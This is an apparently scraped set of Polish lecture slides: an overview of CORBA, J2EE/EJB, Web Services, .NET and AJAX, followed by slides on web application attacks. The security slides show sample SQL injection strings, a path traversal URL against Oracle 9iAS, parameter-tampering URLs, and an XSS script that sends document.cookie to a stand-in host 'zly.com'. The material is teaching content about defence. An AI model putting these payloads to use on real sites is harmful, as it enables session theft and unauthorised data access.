Przegląd technologii dla komponentowych, …€¢ Universal Description, Discovery and Integration...

10

Click here to load reader

Transcript of Przegląd technologii dla komponentowych, …€¢ Universal Description, Discovery and Integration...

Page 1: Przegląd technologii dla komponentowych, …€¢ Universal Description, Discovery and Integration ... Windows Forms • Aplikacje są ... Path traversal -Oracle 9iAS

Przegląd technologii dla Przegląd technologii dla komponentowychkomponentowych, rozproszonych, rozproszonych

aplikacji internetowychaplikacji internetowych

314

Architektura CORBAArchitektura CORBA

• CORBA: Common Object Request Broker Architecture• Jedna z pierwszych architektur budowy heterogenicznych

rozproszonych aplikacji komponentowych• Specyfikacja obejmuje architekturę oraz język opisu

interfejsów - IDL (Interface Description Language)• Aplikacje CORBA składają się z programu klienta,

współpracującego z programami serwerów poprzez warstwę komunikacyjną ORB (Object Request Broker)

Object Request Broker

Client Proxy wg IDL

Szkielet serwera wg IDLKlient

Serwer

Object Adapter

315

J2EEJ2EE

• J2EE (Java2 Enterprise Edition) to platforma tworzenia i uruchamiania rozproszonych aplikacji wielowarstwowych, zwykle wykorzystywanych przez użytkowników przy użyciu przeglądarki WWW

• W skład J2EE wchodzą:– zbiór specyfikacji dla poszczególnych technologii składowych:

• Servlet, JavaServer Pages, Enterprise JavaBeans, JDBC, JNDI, RMI-IIOP, JMS, JTA, JAAS, ...

– zbiór bibliotek standardowych języka Java służących do tworzeniaróżnych typów programów

– zbiór zasad projektowania, implementowania i instalowania aplikacji J2EE, m.in. umożliwiających wyraźny rozdział ról członków zespołu projektowego

– serwer aplikacji J2EE, stanowiący środowisko uruchomieniowe dla aplikacji J2EE

316

Enterprise JavaBeans Enterprise JavaBeans (EJB)(EJB)

• Specyfikacja Enterprise JavaBeans definiuje architekturę i metodę budowy rozproszonych komponentów obiektowych uruchamianych po stronie serwera aplikacji

• Komponenty EJB są wykorzystywane do budowy złożonych aplikacji rozproszonych na zasadzie „składania z klocków”– typowo stanowią warstwę „logiki biznesowej” dla aplikacji J2EE,

w której za „logikę prezentacji” odpowiadają serwlety i JSP

aplikacja klienta

serwer aplikacji (serwer J2EE)

kontener EJB

komponent EJB

wywołania metod

wyniki metod

kontener serwletów

JSPprzeglądarkażądanie http

dokument HTML

Page 2: Przegląd technologii dla komponentowych, …€¢ Universal Description, Discovery and Integration ... Windows Forms • Aplikacje są ... Path traversal -Oracle 9iAS

317

Typy komponentów EJBTypy komponentów EJB

• Specyfikacja Enterprise JavaBeans 2.0 definiuje trzy typy komponentów EJB: – sesyjne (Session Bean): sesyjny komponent EJB to krótkotrwały

obiekt wykorzystywany przez pojedynczą aplikację klienta i nie współdzielony z innymi aplikacjami, stanowiący logiczne rozszerzenie kodu aplikacji klienta umieszczone po stronie serwera aplikacji

– encyjne (Entity Bean): encyjny komponent EJB reprezentuje dane, które są trwale przechowywane w systemie bazy danych; cechuje się długim czasem życia, pozwala na atomowe, transakcyjne modyfikacje bazy danych, współdzielony przez wielu klientów, dostępny dla wielu sesji

– komunikatowe (Message-Driven Bean): komunikatowy komponent EJB jest asynchronicznym konsumentem komunikatów JMS (Java Messaging Service) pochodzących ze środowisk kolejkowych; uruchamiany wtedy, kiedy nadchodzi komunikat od klienta, wykonywany asynchronicznie, może modyfikować zawartość bazy danych, bezstanowy

318

Usługi sieciowe (Web Usługi sieciowe (Web ServicesServices))

• Web Services to technologia budowania rozproszonych, heterogenicznych, komunikujących się ze sobą aplikacji

• Usługi sieciowe– samodzielnie się opisują– są zorientowane na świadczenie usług– są oparte o standardy (HTTP, SMTP, XML, SOAP, WSDL, UDDI)– opisują komunikację między aplikacjami– są niezależne od platformy i języka implementacji

• Architektura zorientowana na usługi

dostawca usługi

klient usługi

rejestr usługopublikuj znajdź

wywołaj

319

Elementy usług sieciowych (1/2)Elementy usług sieciowych (1/2)

• Komunikacja: podstawą funkcjonowania usług sieciowych są tradycyjne protokoły internetowe (HTTP, FTP) za pomocą których usługi sieciowe komunikują się ze sobą

• Uniwersalny format danych: usługi sieciowe korzystają z XML w celu wymiany danych oraz w celu opisu funkcjonalności poszczególnych usług

• Simple Object Access Protocol (SOAP): usługi sieciowe wykorzystują protokół SOAP do wymiany komunikatów XML. Protokół SOAP funkcjonuje jako wrapper dla komunikatów XML, zamykając je w tzw. Kopertach (ang. SOAP envelope)

320

Elementy usług sieciowych (2/2)Elementy usług sieciowych (2/2)

• Web Services Description Language (WSDL): dokumenty WSDL to samoopisujące się specyfikacje prezentujące funkcjonalność danej usługi. Dokumenty WSDL są zgodne z XML i zawierają informację w jaki sposób należy korzystać z danej usługi sieciowej– Dokumenty WSDL mogą być automatycznie przetłumaczone

na język programowania wykorzystywany przez programistę (Client Proxy)

• Universal Description, Discovery and Integration(UDDI): rejestry usług UDDI przechowują dokumenty WSDL opisujące usługi. Rejestry te są przeszukiwane w celu zlokalizowania odpowiedniej usługi. Rejestry UDDI są wykorzystywane przez dostawców usług do publikowania usług

Page 3: Przegląd technologii dla komponentowych, …€¢ Universal Description, Discovery and Integration ... Windows Forms • Aplikacje są ... Path traversal -Oracle 9iAS

321

Architektura SOAPArchitektura SOAP

klient SOAP

metoda(par1,par2)

deserializacja wyniku

XMLHTTP

XML

serializacjawyniku

metoda(par1,par2)

serwerSOAP

usługa SOAP

(klasa)

wynik

XML

deserializacja wywołania

XML

serializacja wywołania

wynik

Wywołanie metody przez klienta jest konwertowane do dokumentu XML. Argumenty wywołania są serializowane (konwertowane do ciągu bajtów reprezentowanego heksadecymalnie). Dokument XML, nazywany komunikatem SOAP, jest przekazywany poprzez HTTP POST do usługi, która po dokonaniu deserializacji argumentów wywołania metody, uruchamia żądaną metodę i przekazuje zwrotnie jej rezultat, korzystając z analogicznego algorytmu.

322

SOAP, WSDL, UDDI SOAP, WSDL, UDDI -- PodsumowaniePodsumowanie

UDDI

wyszukiwanie usługi

WSDL

WSDL

Client Proxy

aplikacja klienta

usługa SOAP

wywołanie usługi

wyniki

aplikacjaklienta

323

Platforma Microsoft .NETPlatforma Microsoft .NET

• .NET Framework – umożliwia tworzenie i uruchamianie:– aplikacji klienckich– aplikacji webowych– usług sieciowych

• Narzędzia programistyczne: Microsoft Visual Studio .NET – zintegrowane środowisko programistyczne (IDE)– wizualno-zdarzeniowe projektowanie aplikacji klienckich i webowych– duża produktywność programisty

• Serwery:– Microsoft Windows Server 2003– Microsoft SQL Server– Microsoft BizTalk Server

• Oprogramowanie klienckie:– WindowsXP, WindowsCE, OfficeXP

324

.NET .NET FrameworkFramework

• Umożliwia tworzenie i uruchamianie nowoczesnych aplikacji i usług sieciowych

• Wspiera ponad 20 języków programowania– najważniejsze to: Visual Basic .NET, C++, C#, J#

• Implementuje typową funkcjonalność aplikacji, pozwalając twórcom aplikacji skupić się na specyficznej logice konkretnej aplikacji

• Podstawowe cele .NET Framework:– łatwość tworzenia bezpiecznych i wydajnych aplikacji– łatwość instalacji aplikacji i administrowania nimi

• Składniki .NET Framework:– wspólne środowisko uruchomieniowe – Common Language Runtime

(CLR)– biblioteki klas

Page 4: Przegląd technologii dla komponentowych, …€¢ Universal Description, Discovery and Integration ... Windows Forms • Aplikacje są ... Path traversal -Oracle 9iAS

325

Architektura .NET Architektura .NET FrameworkFramework

Wspólne środowisko uruchomieniowe (CLR)

Podstawowe biblioteki klas: I/O, łańcuchy znaków, sieć, ...

Dostęp do danych (ADO.NET), biblioteki XML

ASP.NET

Usługi Web Services

Klasy Web Forms Klasy

Windows Forms

• Aplikacje są kompilowane do języka pośredniego Microsoft IntermediateLanguage (MSIL) i w tej postaci mogą być dystrybuowane

• Przy pierwszym uruchomieniu aplikacji kod pośredni jest kompilowany do kodu maszynowego przez CLR

326

ASP.NETASP.NET

• Technologia tworzenia dynamicznych stron internetowych dla platformy .NET i środowiska uruchomieniowego CLR

• Umożliwia korzystnie ze wszystkich języków obsługiwanych przez CLR

• Kod kompilowany - wydajność i wykrywanie błędów (postęp w stosunku do interpretowanych ASP)

• Umożliwia tworzenie aplikacji dwóch typów:– aplikacje Web Forms (strony internetowe)– usługi Web Services

• Programowanie zdarzeniowe– Dodawanie „kontrolek” do formularzy i pisanie kodu do obsługi

zdarzeń związanych z kontrolkami

327

AJAXAJAX

• AJAX = Asynchronous JavaScript And XML– Jesse James Garrett, luty 2005

• AJAX nie jest nową samodzielną technologią• AJAX jest nową techniką tworzenia aplikacji internetowych

w oparciu o znane technologie, które ostatnio osiągnęły dojrzałość: (X)HTML, CSS, JavaScript, DOM, XML

• Programowanie w AJAX nie wymaga uczenia się nowych technologii, ale wymaga zmiany sposobu myślenia o tworzeniu aplikacji internetowych

• Przyczyna popularności AJAX: Poziom interaktywności aplikacji zbliżony do aplikacji desktopowych, dotychczas niespotykany w aplikacjach internetowych– Rich Internet Applications, Web 2.0

328

Model aplikacji internetowej AJAXModel aplikacji internetowej AJAX

• Asynchroniczna komunikacja z serwerem z poziomu kodu JavaScript w przeglądarce– Poprzez obiekt XMLHttpRequest

• Serwer wysyła dane, fragmenty dokumentu, kodu JS i CSS, a nie całe strony

• Dokument w przeglądarce (interfejs użytkownika) jest modyfikowany programowo poprzez interfejs DOM

Serwer bazy danychSerwer bazy danych

Serwer WWWSerwer WWW

Interfejs użytkownikaInterfejs użytkownika

PrzeglądarkaPrzeglądarka

Żądanie HTTP Żądanie HTTP XML XML

„„EngineEngine AJAX”AJAX”

WywołaniaWywołaniaJavaScript JavaScript

HTML HTML + CSS + CSS

Page 5: Przegląd technologii dla komponentowych, …€¢ Universal Description, Discovery and Integration ... Windows Forms • Aplikacje są ... Path traversal -Oracle 9iAS

329

Przykład aplikacji AJAX: Przykład aplikacji AJAX: Google SuggestGoogle Suggest

Zagrożenia bezpieczeństwa aplikacji Zagrożenia bezpieczeństwa aplikacji internetowychinternetowych

331

ZZagrożeniaagrożenia trywialnetrywialne

• Rozwiązania charakterystyczne dla fazy rozwoju– opisy rozpoznanych błędów, debugging, komentarze– poprzednie wersje plików (cp plik.jsp plik.jsp.old)– znaczniki <META>: autor, wersja oprogramowania developerskiego

332

PParametryarametry ukryteukryte

• Często stosowaną praktyką jest zapisywanie zmiennych wukrytych polach formularzy– <input name="X” type="HIDDEN” value=1>

• Jeśli zapamiętują istotne dane, to ich modyfikacja może prowadzić do skutecznego ataku

Page 6: Przegląd technologii dla komponentowych, …€¢ Universal Description, Discovery and Integration ... Windows Forms • Aplikacje są ... Path traversal -Oracle 9iAS

333

MModyfikowaniodyfikowaniee parametrówparametrów wywołaniawywołania

• Parametry mogą być przekazywane za pomocą metody GETlub POST– 1. Zapisać plik HTML na dysku, zmienić wartość zmiennej i lokalnie

otworzyć plik w przeglądarce– 2. Zastosować oprogramowanie typu Local Proxy, potrafiące

modyfikować komunikację HTTP (Stake WebProxy, Odysseus)

334

Dołączanie nowychDołączanie nowych parametrparametrówów

• W niektórych językach skryptowych (PHP, JSP) parametry pobierane od użytkownika są automatycznie rejestrowane jako zmienne globalne

• Powszechnym błędem jest brak inicjalizacji zmiennych• Jeżeli intruz przewidzi nazwę zmiennej i nada jej wartość,

to będzie w stanie zmienić sposób działania aplikacji:

if (sprawdz_w_bazie($login,$pass)) {$state="OK"; // ustawienie flagi

}...if ($state == "OK") { // sprawdzenie flagi

UWIERZYTELNIENIE OK} else { BŁĄD ! }

http://serwer/login.php?login=x&pass=y&state=OK

335

Dołączanie nowegoDołączanie nowego parametruparametru -- JSPJSP

• Danych reprezentowane przez obiekt JavaBean• Wartości parametrów z formularza HTML są przekazywane przy użyciu

znaku *

<jsp:useBean id="myBasket" class="BasketBean"><jsp:setProperty name="myBasket" property="*"/><jsp:useBean>

<html><head><title>Your Basket</title></head><body><p> You have added the item<jsp:getProperty name="myBasket" property="newItem"/>to your basket. <br/>Your total is $<jsp:getProperty name="myBasket" property="balance"/>Proceed to <a href="checkout.jsp">checkout</a>

Atak: http://server/addToBasket.jsp?newItem=ITEM123&balance=1

336

Brak obsługi sytuacji specjalnych Brak obsługi sytuacji specjalnych

• Wszystkie sytuacje specjalne (błędy) powinny zostać świadomie obsłużone przez aplikacje

• Sytuacja specjalna (np. brak parametru, którego spodziewa się aplikacja) może doprowadzić do zmiany sposobudziałania aplikacji

Page 7: Przegląd technologii dla komponentowych, …€¢ Universal Description, Discovery and Integration ... Windows Forms • Aplikacje są ... Path traversal -Oracle 9iAS

337ParametryParametry zapisywane w zmiennychzapisywane w zmiennychCCookiesookies

• Do modyfikowania wartości zmiennych Cookie można wykorzystać Local Proxy

• Typowe cele ataku:– zmiana identyfikatora sesji– zmiana znacznika (flagi np. oznaczającej stan uwierzytelnienia)

lang=en-us; AUTHORIZED=yes; y=1 ; time=12:30GMT;

338

Path traversalPath traversal

• Klasa ataków polegająca na uzyskaniu dostępu dostandardowo niedostępnego pliku/katalogu na serwerzeWWW

• Zagrożenie wiąże się z wykorzystywaniem przez aplikacje parametrów pobieranych ze środowiska użytkownika do konstruowania nazwy pliku

• Przykład:– atak poprzez modyfikację nagłówka HTTP– nagłówek „Accept-Language” jest ustawiany przez przeglądarkę– wykorzystywany do skonstruowania nazwy pliku z odpowiednią

wersją językową– atakujący modyfikując ten nagłówek może pozyskać dowolny plik

339

Path traversal Path traversal -- Oracle 9iASOracle 9iAS

• Tego typu błąd istniał np. w 9iAS 1.0.2 w module mod_plsql

http://oracleserver/pls/dadname/admin_/help/..%255Cplsql.conf%25 %%5C / w rezultacie: /../plsql.conf

340

OS OS CCommandommand IInjection njection

• Aplikacja przekazuje parametry ze środowiska użytkownikado wywołania systemowego– funkcja API– wywołanie komendy

• Jeżeli parametry te nie są weryfikowane, to możliwe jest:– dołączenie własnych parametrów– wywołanie innej komendy systemowej

Page 8: Przegląd technologii dla komponentowych, …€¢ Universal Description, Discovery and Integration ... Windows Forms • Aplikacje są ... Path traversal -Oracle 9iAS

341

SQL SQL IInjectionjectionn

• Brak weryfikacji parametrów przekazywanych przez użytkownika• Konstrukcja zapytań SQL przez „sklejanie” statycznego SQL ze

specjalnie przygotowanymi wartościami parametrów, np:

String query = "SELECT * FROM USER_RECORDS WHERE USER = " +request.getParameter("username");ResultSet result = Statement.executeQuery(query);

• Doklejenie do parametru swojego kodu, np:

username = x or 1=1SELECT * FROM USER_RECORDSWHERE USER = x or 1=1

username = x union select * from all_usersSELECT * FROM USER_RECORDSWHERE USER = x UNION SELECT * FROM all_users

342

SQLSQL IInjectionnjection -- konsekwencjekonsekwencje

• Niekontrolowany dostęp do danych– .... UNION SELECT ...

• Zmiana sposobu działania aplikacji– ..... OR 1=1

• W wielu interpreterach SQL jest możliwe wykonanie kilku działań w jednej linii– ..... ; DELETE * FROM ....

• Modyfikacja danych– String query = “UPDATE users SET password = ’”+ haslo + “’

WHERE username = ’” + uzytkownik + “’”;– haslo: 'moje'– uzytkownik: x' OR username LIKE 'admin

343

Przejęcie sesjiPrzejęcie sesji

• HTTP jest protokołem bezstanowym i każde jego żądanie jest traktowane niezależnie

• Aplikacje WWW wymagają obsługi sesji (kojarzenia wielu odwołań w jedną sesje)

• Aplikacja implementuje sesję przy pomocy identyfikatora sesji (tokena), zwykle zapisywanego w zmiennej Cookie

• Aby podszyć się pod inną sesję wystarczy znać jej token• Jak poznać token sesji?

– Podsłuchać– Przewidzieć - jeżeli algorytm pozwala na przewidzenie wartości

tokena (nie jest losowy)– Wykraść

344

PrzewidywalnyPrzewidywalny tokentoken

• Token powinien być generowany silnym algorytmem losowym

• Przestrzeń możliwych tokenów powinna być bardzo duża• Złe praktyki:

– Token sekwencyjny– Zależny od parametrów użytkownika– Nieograniczony czasowo

Page 9: Przegląd technologii dla komponentowych, …€¢ Universal Description, Discovery and Integration ... Windows Forms • Aplikacje są ... Path traversal -Oracle 9iAS

345

PrzewidywalnyPrzewidywalny token (c.d.)token (c.d.)

• Zwykle serwer aplikacji dba o nadawanie tokenów, aaplikacja korzysta z jego API

• Nie zawsze można polegać na serwerze aplikacji• Przykład: IBM WebSphere 4.0

– TWGYLZIAAACVDQ3UUSZQV2I 10:27:12– TWGY0WYAAACVFQ3UUSZQV2I 10:27:13– TWGZNZAAAACVHQ3UUSZQV2I 10:27:14– TWG0BUYAAACVJQ3UUSZQV2I 10:27:15– TWG0VIAAAACVLQ3UUSZQV2I 10:27:16– TWG1ICIAAACVNQ3UUSZQV2I 10:27:17– TWG111YAAACVPQ3UUSZQV2I 10:27:18

• Algorytm łatwy do odgadnięcia• Możliwość przeszukania całej przestrzeni tokena

346

Wykradnięcie tokenaWykradnięcie tokena

• Słabości:– Przeglądarek - standardowo cookie jest dostępne tylko dla serwera

który je wydał• http://www.intruz.org%2fcookie.html%3f.yahoo.com• http://www.intruz.org/cookie.html?.yahoo.com

– Serwerów• Np: PHP4 zapisywało tokeny w katalogu /tmp na serwerze

– Cross-site scripting

347

CrossCross--SSiteite SScriptingcripting (XSS)(XSS)

• Atak na użytkownika za pomocą aplikacji (nosiciela)• Istota ataku:

– Wykonanie kodu HTML na przeglądarce ofiary (bez jej wiedzy)za pomocą podatnej aplikacji (nosiciela)

• Przykład:– aplikacja WWW obsługuje „chat-room”– intruz w nowej wiadomości umieszcza znaczniki HTML i skrypt

kliencki (JavaScript, VBS)– ofiara przegląda wiadomość za pośrednictwem przeglądarki– HTML jest interpretowany i wykonywany po stronie klienta

348

Cele atakówCele ataków XSSXSS

• Załadowanie strony z innego serwera:<script>document.write('<img src="http://zly.com/atak.js”)</script>

• Wykradnięcie informacji np. cookie:<script>document.write('<img src="http://zly.com/'+document.cookie+'")

</script>

• Wykradnięta informacja znajdzie się w logach serwera„zly.com”

Page 10: Przegląd technologii dla komponentowych, …€¢ Universal Description, Discovery and Integration ... Windows Forms • Aplikacje są ... Path traversal -Oracle 9iAS

349

XSS XSS -- metody atakumetody ataku

• Generalna zasada: aplikacja nosiciela wyświetla na generowanych stronach parametr pobierany od użytkownika nie sprawdzając go

• Chat-room i inne aplikacje pobierające tekst od użytkownika

• XSS w parametrach GET– link w e-mailu– link na stronie www

350

Buffer Buffer OOverflow verflow

• Buffer Overflow– Dotyczy języków niekontrolujących pamięci operacyjnej

(np. C, C++)

• Jedna z najpopularniejszych metod ataku na różne aplikacje• Zagrożenie: brak sprawdzania przez aplikacje długości

wprowadzonego przez użytkownika ciągu, przepełnienie bufora i nadpisanie pamięci